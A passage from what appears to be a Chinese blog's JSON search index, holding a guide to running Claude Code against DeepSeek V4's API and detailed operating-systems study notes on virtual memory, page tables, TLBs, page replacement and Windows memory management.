div:nth-child(3)\u0026#34;); inner.forEach(el =\u0026gt; el.classList.toggle(\u0026#34;hidden\u0026#34;)); } 为什么不用 APlayer？ # APlayer 的网易云歌单依赖外部链接，经常失效 引入额外的 JS 和 CSS 依赖 样式定制受限于 API 自托管方案只有约 120 行 HTML/CSS/JS，零依赖，完全自主可控。\n","date":"2026/05/07","externalUrl":null,"permalink":"/blogs/hugo-music-player/","section":"Blogs","summary":"在 Hugo + Blowfish 主题中手写一个悬浮音乐播放器，不依赖第三方服务","title":"给 Blowfish 主题添加自托管音乐播放器","type":"blogs"},{"content":" 一、为什么选择这个组合 # 日常写代码或者查问题时，一直在 DeepSeek 网页版和编辑器之间来回切换，复制粘贴效率很低。Claude Code 是 Anthropic 推出的终端 AI 编程助手，支持自定义模型提供商。通过配置，可以让 Claude Code 接入 DeepSeek V4 的 API，直接在终端和 VS Code 里完成代码问答、编辑、重构等操作，不用再离开编辑器。\n有关网络问题可参考第七部分的内容。 二、安装 Claude Code # Claude Code 依赖 Node.js（推荐 v18+），安装方式很简单：\nnpm install -g @anthropic-ai/claude-code 安装完成后验证：\nclaude --version 如果出现 command not found，检查 npm 全局安装目录是否在 PATH 中：\n# 查看 npm 全局 bin 目录 npm bin -g # 将其加入 shell 配置（如 ~/.bashrc 或 ~/.zshrc） export PATH=\u0026#34;$(npm bin -g):$PATH\u0026#34; 三、创建 DeepSeek V4 API Key # 打开 DeepSeek 开放平台 并登录/注册 进入 API Keys 页面 点击 创建 API Key，生成一个以 sk- 开头的密钥 复制保存（关闭弹窗后不再显示完整密钥） DeepSeek 的 API 价格相比直接使用网页版更加灵活，按量计费。请留意 API 文档中模型名称的更新，V4 模型的端点名可能为 deepseek-chat 或具体版本号。目前我使用的是deepseek-v4-flash和deepseek-v4-pro。 四、配置 Claude Code 使用 DeepSeek # 在项目根目录（或用户目录 ~）创建 .claude/settings.json，配置自定义提供商指向 DeepSeek 的 API：\n{ \u0026#34;env\u0026#34;: { \u0026#34;ANTHROPIC_AUTH_TOKEN\u0026#34;: \u0026#34;sk-your-deepseek-api-key\u0026#34;, \u0026#34;ANTHROPIC_BASE_URL\u0026#34;: \u0026#34;https://api.deepseek.com/anthropic\u0026#34;, \u0026#34;ANTHROPIC_MODEL\u0026#34;: \u0026#34;deepseek-v4-flash\u0026#34;, \u0026#34;API_TIMEOUT_MS\u0026#34;: \u0026#34;3000000\u0026#34;, \u0026#34;CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC\u0026#34;: \u0026#34;1\u0026#34; }, \u0026#34;theme\u0026#34;: \u0026#34;dark\u0026#34; } 各字段说明：\nANTHROPIC_AUTH_TOKEN：替换为 DeepSeek 的 API Key ANTHROPIC_BASE_URL：DeepSeek 的 Anthropic 兼容端点地址 ANTHROPIC_MODEL：指定使用的模型名称（如 deepseek-v4-flash） API_TIMEOUT_MS：请求超时时间，设为较长值防止大任务中断 CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC：关闭非必要流量，节省 token 五、在 VS Code 中使用 # 我更倾向于直接在 VS Code 的内置终端中用 CLI 方式运行 claude，不需要装额外扩展。步骤如下：\n在 VS Code 中按 Ctrl+`（Mac: Cmd+`）打开内置终端 直接运行 claude 启动对话 在项目根目录启动，Claude Code 会自动读取 .claude/settings.json 中的 DeepSeek 配置 这样做的优势：\n不需要安装 VS Code 扩展，减少插件数量 终端中直接复制代码、查看文件路径更顺手 完全等同于独立终端的使用体验 如果你需要选中代码片段后直接发送给 Claude Code，也可以安装 Claude Code 扩展，在命令面板（Ctrl+Shift+P / Cmd+Shift+P）中启动 Claude Code: Start Session，不过我个人觉得内置终端 CLI 已经足够用了。\n一个截图 六、日常使用体验 # 优势 # 不用切窗口：终端中直接对话，写代码和提问在同一上下文 命令快捷：/ 斜杠命令支持快速切换模式、清除上下文、保存对话 文件操作强：可以直接引用项目中的文件，Claude Code 能读写整个工作目录的代码 费用可控：DeepSeek 的 API 价格相对便宜，且按 token 计费，日常开发用量不大 不足 # 需要一定的命令行基础 配置代理和 API Key 管理需要自己处理 （不过这些都是很容易克服的） 本月消费目前为止是11人民币，个人感觉coding能力和debug能力很强，而且架构很实惠。\n七、网络问题解决 # 由于 DeepSeek 的 API 服务器位于境外，直接请求可能超时或连接失败。我使用的是 Clash for Windows 的 TUN 模式来解决网络问题。\n开启 TUN 模式 # 打开 Clash for Windows，进入 Settings 页面 找到 TUN Mode 开关，将其打开 开启后系统流量会通过虚拟网卡路由，终端中的 claude 请求自然也能经过代理 开启 TUN 模式后，Clash 会接管系统全局流量。如果只是为 claude 走代理，也可以使用 Mixed Port + 环境变量方式，但 TUN 模式最省心——所有终端请求自动走代理，无需额外配置。 验证代理是否生效 # curl -I https://www.google.com # 返回 200 说明代理正常工作，终端可以访问外网 不过每次启动都需要设置环境变量比较麻烦，TUN 模式一劳永逸。\n八、参考链接 # Claude Code 官方文档 DeepSeek 开放平台 Claude Code VS Code 扩展 DeepSeek API 文档 ","date":"2026/04/30","externalUrl":null,"permalink":"/blogs/claude-and-deepseek/","section":"Blogs","summary":"从deepseek网页版转为CLI版，代码编辑和操作更加方便","title":"claude code + deepseek v4 部署流程和个人使用体验","type":"blogs"},{"content":"","date":"2026/04/30","externalUrl":null,"permalink":"/tags/cli/","section":"","summary":"","title":"CLI","type":"tags"},{"content":"","date":"2026/04/30","externalUrl":null,"permalink":"/tags/deepseek/","section":"","summary":"","title":"Deepseek","type":"tags"},{"content":"CSAPP,chapter9: 虚拟内存为每一个进程提供了一个大的、统一的、私有的、稀疏的地址空间 一、虚拟内存概述 # 1.1 存储体系 # 操作系统协调各级存储器的使用，从上到下：寄存器 → 缓存 → 内存 → 磁盘。目标是让\u0026quot;内存\u0026quot;速度尽量快（匹配 CPU 取指速度），容量尽量大（能装下当前运行的程序与数据）。\n进程的虚拟地址空间横跨整个存储体系，物理内存和磁盘结合起来，提供一个大容量的\u0026quot;虚存\u0026quot;。\n1.2 核心术语 # 术语 含义 虚拟内存（虚存） 把物理内存与磁盘结合，得到一个容量很大的\u0026quot;内存\u0026quot; 虚拟地址空间 分配给进程的虚拟内存 虚拟地址 虚拟内存中某一位置的地址，可被自动转换成物理地址 虚拟存储技术 进程运行时先装入一部分到内存，其余暂存磁盘；访问的数据不在内存时，由操作系统自动从磁盘调入 虚存大小受计算机寻址机制和可用磁盘容量的限制。虚拟地址空间是对内存的抽象——进程使用虚拟地址，通过 MMU 转换得到物理地址，仿佛能直接访问内存。\n1.3 虚拟内存管理的目标 # 透明性：进程感觉不到虚拟内存的存在 效率：地址转换和缺页处理的开销尽量小 保护：进程间地址空间隔离 二、虚拟页式存储管理 # 在开始之前可以先回忆一下上一节的内存管理方案的演进：\n内存管理方案的演进 这里使用的是页式管理。\n基本思想是：\n装载程序时，只装入几个甚至零个页面 进程执行时需要不在内存的页面（Page Fault），则动态装入所需页面（请求调页 demand paging） 需要空间时，将暂时不用的页面交换到磁盘 也可采用**预先调页（prepaging）**减少缺页次数 本质是操作系统的资源转换技术——以 CPU 时间和磁盘空间换取物理内存空间。\n虚拟页式系统（Paging）调页的三个策略（Coffman \u0026amp; Denning）：\n取页策略（fetch policy） ：何时把页面载入内存 放置策略（placement policy） ： 页面放在何处 置换策略（replacement policy） ：页框不足时，删除哪些页 三、硬件机制：地址转换 # 3.1 MMU 工作原理 # CPU → 虚拟地址 → [MMU] → 物理地址 → 内存 MMU（Memory Management Unit）完成虚拟地址到物理地址的转换。如果转换失败（页面不在内存、非法访问、保护违例），硬件产生异常，陷入操作系统执行缺页处理程序。\n3.2 地址转换过程 # 这是硬件机制：\nif (虚拟页面不在内存 || 页面非法 || 被保护) { 硬件产生异常 → 操作系统执行 Page Fault 服务程序 } else { 页框号 = 页表[虚页号] 物理地址 = 页框号 || 页内偏移 } 第一个if语句中的都算是Page Fault。其中第一个虚拟页面不在内存，具体需要从哪里来找内容（如磁盘、交换区）可以参考Linux源码，我在另一篇文章(在9.2.3节中的第(3)个小节部分)中进行了简单的窥探，可以去阅读一下。此外也可以阅读9.2.2小节内容进一步了解缺页异常处理。\n缺页异常 和 Page Fault Page Fault是这三个分支的总称——MMU在地址转换过程中发现任何问题，硬件都触发同一个异常（x86 上中断号0xe），然后操作系统根据原因分派处理；缺页异常只是其中\u0026quot;页面不在内存\u0026quot;这一种——PTE 的 P 位为0，映射关系存在但页面当前不在物理内存，需要从磁盘/交换区调入。\n3.3 x86 保护模式下的寻址 # x86 提供段式 + 页式两级转换：逻辑地址 →（段式转换）→ 线性地址 →（页式转换）→ 物理地址。Linux 通过将段基址设为 0 来绕过分段机制，实际上只使用页式转换。\n四、页表 # 4.1 页表项（PTE）设计 # 字段 含义 页框号（PFN） 物理页面号 有效位/驻留位/中断位（P/Present） 该页在内存还是磁盘 访问位/引用位（A/Accessed） 是否被访问过 修改位（D/Dirty） 是否在内存中被修改过 保护位（R/W, U/S） 读/写/执行权限 PWT 缓存写策略（Write Through） PCD 禁止缓存（Cache Disable） 页表项中 P 位为 0 时引发缺页异常（由硬件检测，操作系统处理）。\n4.2 多级页表 # 为什么要多级？ 32 位地址空间，4K 每页，用户空间占一半是2^31次方字节。每个进程需要有2^19个页表项，每个页表项是4字节，也就是需要2^21字节的页表项，也就是需要 512 个页（2MB）。光是页表就需要这个多个页；而且还需要这512个页连续在内存中存放。64 位更是天文数字。页表本身太大，且各页在内存中不连续存放。\n解决思路：将数组结构转为树形结构。\n一级页表（页目录）：索引指向二级页表 二级页表：索引指向实际页面 比如对于上面的例子，用二级列表，第一级是1024个页表项，每个页表项存的是第二级页表的起始地址，第一级页表自身占用了1页；一共有1024个第二级页表，每个页表项存的是一个物理地址页，第二级页表自身占用了1024页。而能够存储的物理页的总数是：1024个第二级页表，每个第二级页表存1024个物理页，也就是2^20个物理页。在上面没分级的例子中，每个进程需要有2^19个页表项，采用分级也是足够的。\n然而分级后的页表不一定会更省空间，二级的页表会使用1025个页来存页表。但，实际进程的地址空间是稀疏的——代码在低地址、栈在高地址、中间大片未用。单级页表不管用不用都得分配完整的 512 页（数组必须连续），而两级页表：未使用的虚拟地址区间对应的页目录项（PDE）标记为无效，其二级表根本不分配。一个典型进程可能只需要页目录 1 页 + 实际用到的几个二级表 = 不到 10 页。这就是稀疏的好处，在通常情况下页表使用的页是低于一级页表的。\nCore i7 四级页表结构（48 位虚拟地址）：\nVPN4 → VPN3 → VPN2 → VPN1 → 页内偏移 9 9 9 9 12 L4 PDE → L3 PDE → L2 PDE → L1 PTE → 物理地址 对于四级，页表需要的页数：1 + 512 + 512^2 + 512^3\nCR3 寄存器保存页目录的物理地址。\n4.3 反转页表（Inverted Page Table） # 传统页表从虚拟地址出发查页框号，每个进程一张。反转页表从物理地址出发，系统只建一张表，表项记录 \u0026ldquo;进程 i 的虚页号 → 页框号\u0026rdquo; 的映射。\n优势：页表大小与实际内存成固定比例，与进程数无关 实现：将虚页号 + PID 散列到一个反转页表项，需要拉链解决冲突 采用体系结构：PowerPC、UltraSPARC、IA-64 五、TLB — 加速地址转换 # 5.1 为什么需要 TLB # 页表至少需要两次内存访问（查页目录 + 查页表）。CPU 速度与内存访问速度差异大，必须加速地址映射。\n5.2 TLB 原理 # TLB（Translation Look-aside Buffer）：相联存储器，按内容并行查找 保存当前进程页表的子集（部分表项） 工作原理：采用联想映射技术，同时比较虚拟页号，命中则直接返回页框号 5.3 关键问题 # 问题 解决 TLB 大小/位置 一般在 MMU 内部，容量很小 TLB 置换 类似页面置换（LRU 等） 进程切换 TLB 刷新 PCID（x86）/ ASID 标识不同地址空间，避免频繁刷新 每个进程分配一个唯一的PCID/ASID，TLB比较时多一步：虚页号 + PCID,同时匹配才叫命中。这样进程 A 的 TLB 项和进程 B 的 TLB项可以共存，切来切去互不污染，大幅减少刷新带来的性能损失。在多处理器的亲和性和负载均衡讨论（操作系统笔记4：进程与线程调度，五、一些实例：多处理器调度）中，TLB的这种处理对于亲和性是友好的，但是对于后者是不友好的。\nTLB对VPN并行查找 六、缺页异常处理 # 缺页异常是最常见的 Page Fault。地址映射过程中，硬件检查页表时发现所要访问的页不在内存，产生缺页异常。\n处理流程是：\n获得缺页的磁盘地址（从哪找？从PCB找，找可执行的相关信息） 启动磁盘，将该页面调入内存（demand paging） 如有空闲页框 → 直接分配，修改页表项的驻留位和页框号 如无空闲页框 → 置换某一页；若被置换页在内存期间被修改过，需写回磁盘（具体的相关置换算法在下面的7.2小节中） 可能预取相邻页面（prepaging） 现代的操作系统不会有当缺页时无空闲页框的情况出现！因为分页系统工作的最佳状态是，发生缺页异常时，系统中有大量的空闲页框，保存一定数目的页框供给 比 使用所有内存并在需要时搜索一个页框 有更好的性能。现代操作系统会使用一定的策略来实现，不仅仅是简单的按需调页。 常见引发场景：\n页面未提交（不在内存） 违反权限访问 修改私有 COW 页面 需要扩大栈 页面已提交但尚未映射 请求零页面 七、软件策略 # 7.1 驻留集管理 # 驻留集：当前时刻，进程实际驻留在内存中的页框集合。\n这里给出一个缺页率和分配给进程的页框数目（驻留集大小）之间的关系图：\n可以看出若分配给进程的页框较多的时候，即使其缺页率降低了但是也有可能会影响到其他的进程。那么为了保证平衡性，对于驻留集大小的管理有两者策略：\n策略 说明 固定分配 进程创建时确定页框数 可变分配 根据缺页率动态调整（缺页率高 → 增加，缺页率低 → 减少，也就是调节到上图中的W位置） 7.2 页面置换算法 # replacement，这里讲的是当硬件发现page fault的时候，如果内存没有空闲页框了，就需要牺牲一个旧页框，也就是置换。\n置换范围：计划置换页面的集合是局限在产生缺页异常的进程，还是所有进程的页框？\n全局置换：将内存中所有未锁定的页框作为置换候选。 局部置换：仅在产生本次缺页的进程驻留集中选择。\n局部置换 全局置换 固定分配 √ — 可变分配 √ √ 以下介绍一些算法，总体的目标是置换最近最不可能访问的页。根据局部性原理，最近的访问历史和最近将要访问的模式间存在相关性，因此，大多数策略都基于过去的行为来预测将来的行为（和MLFQ类似的设计思想，这里举一个投递简历的例子，简历是过去的行为，面试官以此来预测未来的工作表现）。。设计越精致，实现开销越大。\n此外，还需要考虑一个约束条件：不能置换被锁定的页框，比如，正在IO的进程所正在使用着的。\n页框锁定 为什么要锁定页面？因为采用虚存后，程序运行时间变得不确定。给每一页框增加一个锁定位，通过设置相应的锁定位，不让操作系统将进程使用的页面换出内存，避免产生由交换过程带来的不确定的延迟。例如：操作系统核心代码、关键数据结构、I/O缓冲区\u0026hellip;\n7.2.1 OPT（最佳置换算法） # 置换以后不再需要的或最远的将来才会用到的页面。不可实现，作为理论基准。\n7.2.2 FIFO（先进先出） # 置换驻留时间最长的页。实现简单，但可能淘汰重要页面，且存在 Belady 现象（分配的页框数增加，缺页次数反而增加）。实现：用链表。\n7.2.3 Second Chance（第二次机会） # FIFO 的改进：检查访问位 R，若 R=0 则置换；若 R=1 则给第二次机会，将 R 置 0。\nR位可以看作是读取过这个页，会定期清理，不会永远为1否则没有意义了。\n7.2.4 Clock（时钟算法） # 页框组织成循环缓冲区，指针轮转。是 Second Chance 的工程实现。\n7.2.5 NRU（最近未使用） # Not Recently Used\n根据 R（访问位）和 M（修改位）将页面分为四类：\n类别 R M 说明 第 0 类 0 0 无访问，无修改 第 1 类 0 1 无访问，有修改 第 2 类 1 0 有访问，无修改 第 3 类 1 1 有访问，有修改 发生缺页异常时，随机从类编号最小的非空类中选择一页置换。优先选择不需写回磁盘的页面，节省时间。\n7.2.6 LRU（最近最久未使用） # Least Recently Used\n置换最后一次访问时间距离当前最远的一页。性能接近 OPT，但实现开销大（需时间戳或维护访问栈）。\n这是用硬件矩阵实现 LRU 的经典做法。原理如下： 数据结构：N 个页框 → 一个 N×N 的位矩阵（硬件寄存器阵列），初始全 0。\n访问规则：当访问第 k 号页框时，硬件同步做两个操作：(1) 第 k 行全部置 1 ；(2) 第 k 列全部置 0\n含义：矩阵中 bit(i, j) = 1 表示\u0026quot;页框 i 比页框 j 更近被访问过\u0026quot;。当访问页框 k 后，行 k 全 1 意味着\u0026quot; k 比所有页框都更新\u0026quot;，列 k 全 0 意味着\u0026quot;没有页框比 k 更旧\u0026quot;。\n找 LRU 页：读取每一行的二进制值，值最小的行对应的页框就是 LRU。\n7.2.7 NFU（最不经常使用）与 Aging（老化算法） # Not Frequently Used\nNFU：软件计数器，每页一个。每次时钟中断，计数器 += R。缺页时选计数器最小的置换。\nAging：改进版——计数器加 R 前先右移一位，R 加到最左端。模拟 LRU，近似效果很好。\n7.2.8 工作集算法 # 基本思想：根据程序的局部性原理，一般情况下，进程在一段时间内总是集中访问一些页面，这些页面称为活跃页面，如果分配给一个进程的页框太少了，使该进程所需的活跃页面不能全部装入内存，则进程在运行过程中将频繁发生中断。如果能为进程提供与活跃页面数相等的页框数，则可减少缺页异常次数。\n工作集 W(t, Δ) = 在当前t时刻，进程在过去的Δ个虚拟时间单位中使用的虚拟页面集合。\n工作集是进程固有性质；驻留集取决于系统分配策略 核心思路：从驻留集中找出当前不在工作集中的页面并置换它，使得驻留集向着工作集逼近 实现：记录每页最后访问时间，超出\u0026quot;当前时间 − T\u0026quot;的页面被置换 缺页率算法：设置缺页率上下阈值，动态调整驻留集大小。这是一个类似于工作集的方法。\n7.3 算法总结 # 算法 评价 OPT 不可实现，作为基准 NRU LRU 的粗略近似 FIFO 可能淘汰重要页面，有 Belady 现象 Second Chance 比 FIFO 有很大改善 Clock 现实可用 LRU 优秀但难实现 NFU LRU 的相对粗略近似 Aging 非常近似 LRU Working Set 开销很大 WSClock 好的有效算法 7.4 影响缺页次数的因素 # 页面置换算法 页面大小（最优尺寸 P = √(2se)） 程序编制方法（按行访问 vs 按列访问，差异巨大） 分配给进程的物理页面数 颠簸/抖动（Thrashing）：页面在内存与磁盘之间频繁调度，调度开销超过进程实际运行时间，系统效率急剧下降。\n7.5 清除策略 # 分页系统工作的最佳状态是，发生缺页异常时，系统中有大量的空闲页框，保存一定数目的页框供给 比 使用所有内存并在需要时搜索一个页框 有更好的性能。现代操作系统会使用一定的策略来实现，不仅仅是简单的按需调页。\n在Linux中有一个分页守护进程（paging daemon），多数时间处于睡眠，会定期检查内存，保持一定数量的空闲页框；若过少，就会用预设的页面置换算法来选择页面换出内存，若页面装入内存后被修改过旧写回磁盘，保证所有空闲页框是干净的。\n清除策略说的就是，当需要使用一个已置换出的页框时，如果该页框还没有被新内容覆盖，则将它从空闲页框缓冲池中移出即可恢复该页面。具体实现来说可能只是在PTE的V位设置成0或者1的过程，在某一个页被换出的时候把V设置为0，但是后续在用这一页的时候会造成缺页异常，这时可以直接从缓冲池中恢复。一种具体的方法是双指针时钟：前指针（paging daemon 控制）写回脏页；后指针（置换时使用）命中干净页概率增加。\n在Windows中有页缓冲技术：被置换的页保留在内存（未修改 → 空闲链表，已修改 → 修改链表），可快速恢复\n7.6 加载控制 # 通过调节系统并发度（驻留在内存中的进程数）进行负载控制。必要时挂起进程，将其页面交换到磁盘。\n八、内存映射文件 # 8.1 mmap() 机制 # 进程通过 mmap() 将文件映射到虚拟地址空间，访问文件像访问内存中的大数组，从而避免了使用read、write等系统调用来操作文件。\nvoid *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); 作用是将指定文件fd中偏移量offset开始的长度为length个字节的一块信息映射到虚拟空间中起始地址为start、长度为length个字节的一块区域。得到vm_area_struct结构的信息，并生成相应页表项，建立文件地址和区域之间的映射关系。\n注意，这里仅仅是生成页表项和建立映射关系，还没有真正地将文件内容映射到内存中。\nprot（访问权限）：\n标志 含义 PROT_READ 可读 PROT_WRITE 可写 PROT_EXEC 可执行 PROT_NONE 不可访问 这些也对应vm_area_struct结构中的vm_prot字段。\nflags（映射类型）：\n标志 用途 MAP_PRIVATE 私有的写时拷贝对象，对应可执行文件中只读代码区域（.init, .text, .rodata），和已初始化数据区域（.data） MAP_SHARED 对应共享库文件中的信息 MAP_ANON 请求零页面（匿名文件） MAP_PRIVATE / MAP_ANON 未初始化数据 .bss、堆、栈 第一次访问时会慢（缺页调入），之后跟访问内存一样快（已在页缓存中） 两个进程 mmap 同一文件 → 看到的是同一份物理页（MAP_SHARED） mmap的作用与应用场景 内存映射文件的应用：LMDB（Lightning Memory-Mapped Database），是内存映射型数据库，通过使用内存映射文件，可以提供更好的输入/输出性能，对于用于神经网络的大型数据集( 比如ImageNet)，可以将其存储在LMDB中。\n虚拟地址空间各个段的映射类型 OS操作的是左边的虚存，虚拟地址空间的内容来自于可执行文件和共享文件，虚存通过建立页表来实现和物理内存进行映射，实现了虚拟地址空间的统一性、安全性、巨大性、稀疏性 对于共享对象，只需要在内存和磁盘保存一份即可，对于进程而言只需要在页表中对页框号进行映射即可；同时对于共享文件的写操作也要保持同步，对于其他进程要可见结果、对于磁盘也要更新。\n8.2 写时复制（COW）与 fork() # COW（Copy-On-Write）：多个进程共享同一物理页，标记为只读。当某个进程尝试写入时，触发缺页异常，内核分配新页框并复制内容。\nUNIX的原始fork流程是： 为子进程分配一个空闲的进程描述符 proc 结构 -\u0026gt; 分配给子进程唯一标识pid -\u0026gt; 以一次一页的方式复制父进程地址空间 -\u0026gt; 从父进程处继承共享资源，如打开的文件和当前工作目录等 -\u0026gt; 将子进程的状态设为就绪，插入到就绪队列 -\u0026gt; 对子进程返回标识符0 -\u0026gt; 向父进程返回子进程的pid\n其中一次一页方式复制太低效了，Linux的解决方案是利用存储管理模块中的“写时复制技术”COW（Copy-On-Write）对fork()进行了优化：\nfork() + COW：\n创建子进程的 mm_struct、vm_area_struct、页表的精确副本 将两个进程的每个页面标记为只读 将每个 vm_area_struct 标记为私有 COW 返回时父子进程都有虚拟内存的精确副本 后续写入通过 COW 机制创建新页面（也是在page fault的处理流程当中） 因此，如果父子进程都只读，物理页不会被真正复制，这就是 fork() 能快速返回的原因。\n九、Windows 虚拟内存管理（补充） # Inter x86 段页式：逻辑地址 -\u0026gt; 段选择符 → 段描述符(段式转换) → 线性地址(此时相当于只有一个段了，分页机制开启) → 页目录/页表(页式转换) → 物理地址\nWindows虚拟地址空间布局 对于缺页异常，页目录项PDE和页表项PTE的最低位为1，有效(Valid)，表示该页映射了物理内存。当要访问的虚拟页在物理内存中时，该虚拟页对应的PDE、PTE 都有效，CPU 根据相应的PDE、PTE自动把虚拟地址转换成物理地址，完成访问，这一过程操作系统不需介入如果要访问的虚拟页在不物理内存，此时的PTE无效（最低位为0）。对无效PTE的格式的定义，由操作系统负责：\n无效的PTE：\n所引用的页面没有被提交（不在内存） 违反权限的页面访问 修改一个私有共享的写时复制页面 需要扩大栈 所引用的页已被提交但尚未被映射 请求一个零页面 缺页异常中断号 0xe，发生缺页异常时，CPU自动将引发异常的虚拟地址存入CR2，CPU自动根据中断号在中断描述符表中找到对应的描述符，根据描述符中的地址转到异常处理程序KiTrap0E，会调用MmAccessFault ，其通过CR2的地址计算出相应的PDE/PTE地址，通过分析PTE中的内容可以得知是哪种情况引起的异常，并作出处理。\nWindows的页目录 是内存管理器创建的特殊页，用于映射进程所有页表的位置，其物理地址保存在KPROCESS中，硬件访问页目录、页表和页：通过VPN、PFN完成，内核通过虚地址来对它们进行访问。在x86中，它还同时被映射到地址0xC0300000处（在。专用寄存器（x86中为CR3）用于保存页目录的物理地址\n页目录自映射：利用 PDE[0x300] 自指，可快速计算任意虚拟地址的 PDE/PTE Windows中的工作集 是进程在物理内存的所有页框的集合。工作集的大小会改变，当内存访问的局部性区域位置大致稳定时，工作集大小大致稳定；当位置变化时，会快速扩张和收缩过渡到下一个稳定值 同时，Windows还会给每个进程设计一个最大值和最小值的工作集大小，如果超过了最大值就把超过最大值的部分收回。当可用页框数量降低到一定程度时，启动工作集修整策略（因为Windows的缺页策略是**只要缺页就调入一页，需要保证有充足的空闲页框）。\n平衡集管理器线程（几秒醒来一次）调用工作集管理器进行周期性检查，是否有大量可用内存、内存开始紧张、内存紧缺。\nWindows用户空间内存分配方式 以页为单位的虚拟内存分配方式（函数Virtualxxx） 内存映射文件（函数CreateFileMapping, MapViewOfFile） 内存堆方法 （Heapxxx和早期的接口Localxxx和Globalxxx） 对于按页分配：\n进程地址空间0x0~0x7FFFFFFF，用户程序必须经过“保留”和“提交”两个阶段使用一段地址范围。VirtualAlloc和VirtualAllocEx函数实现这些功能，用户程序可以首先保留地址空间，然后向此地址空间提交物理页面。保留地址空间是为线程将来使用所保留的一块虚拟地址。在已保留的区域中，提交页面必须指出将物理存储器提交到何处以及提交多少；提交页面在访问时会转变为物理内存中的有效页面。VirtualFree或VirtualFreeEx函数回收页面或释放地址空间。\n使用VirtualAlloc可以在用户地址空间中保留或者提交指定地址和大小的一段地址空间，那么系统如何知道指定的这段地址空间是不是已经被分配（保留或者提交）？\n对于指定地址空间是否已经被提交了物理内存，可以通过页目录和页表来判断，不过这样做很麻烦； 对于指定地址空间是否已经被保留，通过页目录和页表是没有办法判断的。Windows中使用 VAD 来解决这个问题。 对于每一个进程，Windows的内存管理器维护一组虚拟地址描述符（VAD）来描述一段被分配的进程虚拟空间的状态。虚拟地址描述信息被构造成一棵自平衡二叉树以使查找更有效率。VAD类似于Linux中的vm_area_struct。\nWindows物理内存管理 在Linux中用的是伙伴系统。在Windows中，有一个页框号数据库（PFN数据库），由结构体MMPFN（24字节）来保存每一个物理页的相关信息和全局变量MmPfnDatabase来保存页框号数据库的首地址。\n对于每个物理页面有7种状态：\n活动（Active）/有效（Valid）：该页框在某个进程的工作集中。此进程的对应页表项是有效的，从高20bit可获得PFN。 过渡（Transition）：系统正在从一个文件将内容读入该页框，或者正在向一个文件写出该页框的内容 空闲（Free）：该页框中的内容不再被需要 零初始化（zeroed）：该页框空闲并且已经被用零初始化 坏（Bad ）：该页框存在硬件错误，不能被使用 后备(standby)：该页框曾经在某个进程的工作集中，且该页框的内容在被此进程使用时没有改变。该页框现在已被移出该进程的工作集，但页框中的内容仍是此进程的内容，即对应的PTE中的高20bit仍然是该页框号，只是该PTE被标记为invalid 和transition。当此进程需要再次访问这一页内容时，只需要重新设定该PTE的标志，并把该PTE变为有效，即把该页框从standby 状态变为active(valid) 状态即可 修改（Modified ）：该页框曾经在某个进程的工作集中，且该页框的内容在被此进程使用时有改变。该页框现在已被移出该进程的工作集，但页框中的内容仍是在此进程的内容，即对应的PTE中的高20bit仍然是该页框号，只是该PTE被标记为invalid 和transition。当此进程需要再次访问这一页内容时，只需要重新设定该PTE的标志，并把该PTE变为有效，即把该页框从modified 状态变为active(valid) 状态就可以了。在该页框被系统作为其他用途使用之前，需要将该页框中的内容写入硬盘中的页文件中 对于6和7，参考在本文上方7.5节的清除策略的第一段文字：\n分页系统工作的最佳状态是，发生缺页异常时，系统中有大量的空闲页框，保存一定数目的页框供给 比 使用所有内存并在需要时搜索一个页框 有更好的性能。现代操作系统会使用一定的策略来实现，不仅仅是简单的按需调页。\n这里和Linux的清除策略类似。这里也就是Windows的页缓冲技术，在7.5节末尾提及。\n下图展示了 Windows 中页框数据库（PFN Database）各个状态之间的转换关系：\nWindows 的 PFN 数据库为每个物理页框维护一个状态，各状态之间转换的场景如下：\n8 Zeroed → Active（零页分配）：进程调用 malloc、栈扩展或 COW 需要新页时，内存管理器直接从 Zeroed 链表头取一个已归零的页框分配出去。这也是 Windows 后台有一个零页线程一直在清空 Free 页面的原因。\n2 Active → Modified（脏页移出工作集）：工作集管理器检测到某进程驻留集过大，将其部分页面移出。若该页在内存期间被修改过（D=1），不能直接丢弃——必须后续写回磁盘（文件映射页写回文件，匿名页写回页面文件），先放入 Modified 链表。\n3 Active → Standby（干净页移出工作集）：同样是工作集修剪，但该页未被修改（D=0，比如只读的代码段页）。内容仍在内存中完好保留，放入 Standby 链表等待复用。\n9 10 Modified → Standby（写回完成）：Modified Page Writer 线程将脏页写回磁盘后，该页变为干净，移入 Standby 链表。此时内容依然在内存中，随时可供软缺页恢复。\n12 Standby → Active（软缺页 / Soft Fault）：进程访问了一个不在工作集中、但仍在 Standby 链表中的页。这是最快的缺页——不需要任何磁盘 I/O，直接从 Standby 链表中取出重新加入工作集即可。\n4 Standby → Free（内存回收）：系统需要更多空闲物理内存时，直接从 Standby 链表末尾取页释放。Standby 中的页最容易被牺牲，因为其内容在磁盘已有备份。\n6 7Free → Zeroed（零页线程）：后台零页线程持续从 Free 链表取页，用 0 填满后放入 Zeroed 链表。清零是安全需求——防止新进程读到旧进程遗留在物理内存中的数据。修改后的图即第二个图，将这些状态和转换关系放置在了整个 Windows 物理内存管理的上下文当中，可以看到其与进程的驻留集（工作集）、系统空闲链表、修改链表、磁盘后备存储之间的关系。\n1 Active -\u0026gt; Free：进程终止：进程的所有私有页面（堆、栈、私有数据）不再属于任何工作集，直接从 Active 变为Free——因为其他进程不可能用到这些私有页，没有保留内容的必要。共享页（如 DLL 代码页）则走 Active → Standby，因为其他进程可能还在用。显式释放：进程调用 VirtualFree / munmap主动释放一块已提交的内存，对应物理页框直接从 Active 回到 Free。\n","date":"2026/04/21","externalUrl":null,"permalink":"/os/study_notes/6-virtual_memory_management/","section":"Operating Systems","summary":"","title":"操作系统笔记6：虚拟内存管理","type":"os"},{"content":" 一、为什么需要内存管理 # 内存管理的演化过程：\n最开始，直接把一个进程放在物理内存中运行，此时物理内存中一部分是内核，另一部分就是进程，运行完了就出来；后来有了多道程序设计，物理内存不再是只给一个进程使用，而是多个进程同时分配一个物理内存；再后来为了安全考虑（防止越界、越权），引入了虚拟内存，每个进程都有一个自己独立的地址空间。\n在多道程序设计中，多个程序同时驻留内存，此时程序中的地址不直接等于物理地址，所以需要地址重定位（或者地址映射、地址翻译）；同时进程之间不能相互访问，需要地址保护，以及共享与隔离。\n那么内存管理就是为了解决如上述的问题而存在的。除此之外，还有很多内存管理需要解决的问题，比如程序什么时候进入内存、进程空间如何映射到物理内存、内存不够怎么办、怎么保证效率和保护等等。\n二、内存管理基本概念 # 1. 